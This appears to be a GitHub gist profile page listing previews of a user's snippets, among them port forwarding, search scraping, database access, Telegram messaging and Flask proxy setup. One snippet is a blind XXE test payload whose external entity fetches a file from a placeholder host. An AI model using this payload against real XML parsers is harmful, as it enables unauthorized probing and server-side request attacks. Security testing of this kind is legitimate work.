Skip to content

Instantly share code, notes, and snippets.

View bongbongco's full-sized avatar

LeeSeungyong bongbongco

View GitHub Profile
@bongbongco
bongbongco / Main.class
Created August 25, 2016 02:49
C# Port Forwarding
static void Main(string[] args)
{
new TcpForwarderSlim().Start(
new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])),
new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3])));
}
# Get the first 20 hits for: "Breaking Code" WordPress blog
from google import search
for url in search('"Breaking Code" WordPress blog', stop=20):
print(url)
# Get the first 20 hits for "Mariposa botnet" in Google Spain
for url in search('Mariposa botnet', tld='es', lang='es', stop=20):
print(url)
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
#-*- coding: utf-8 -*-
import urllib
import urllib2
from utils.config import ConfigParser
def send_msg(chat_id, text, reply_to=None, no_preview=True, keyboard=None):
u"""send_msg: 메시지 발송
chat_id: (integer) 메시지를 보낼 채팅 ID
text: (string) 메시지 내용
reply_to: (integer) ~메시지에 대한 답장
import pymysql
# MySQL Connection 연결
conn = pymysql.connect(host='localhost', user='tester', password='',
db='testdb', charset='utf8')
# Connection 으로부터 Cursor 생성
curs = conn.cursor()
# SQL문 실행
/*
techcontents
title
site
url
platform
siteRating
pageRating
state
import sys
import re
def ExtractDomain(fullUrl):
domainRegex = re.compile("(http[s]?|ftp):\/\/([a-z0-9-]+\.)+[a-z0-9]{2,4}")
extractDomain = domainRegex.search(fullUrl)
print extractDomain.group()
return extractDomain.group()
def favicon(domain):
from py_bing_search import PyBingWebSearch
search_term = "Python Software Foundation"
bing_web = PyBingWebSearch('Your-Api-Key-Here', search_term, web_only=False) # web_only is optional, but should be true to use your web only quota instead of your all purpose quota
first_fifty_result= bing_web.search(limit=50, format='json') #1-50
second_fifty_result= bing_web.search(limit=50, format='json') #51-100
print (second_fifty_result[0].description)
u'Python Software Foundation Home Page. The mission of the Python Software Foundation is to promote, protect, and advance the Python programming language, and to ...'
'''
import urllib
import requests
from requests.auth import HTTPBasicAuth
# Bing API key
API_KEY = ""
def bing_api(query, source_type = "Web", top = 10, format = 'json'):
# set search url
@bongbongco
bongbongco / flask_gunicorn_apache_proxy.rst
Created October 25, 2016 08:11 — forked from vehrka/flask_gunicorn_apache_proxy.rst
Flask on Gunicorn behind Apache Proxy

Apache conf

<Proxy *> 
  Order deny,allow 
  Allow from all 
</Proxy> 
ProxyPreserveHost On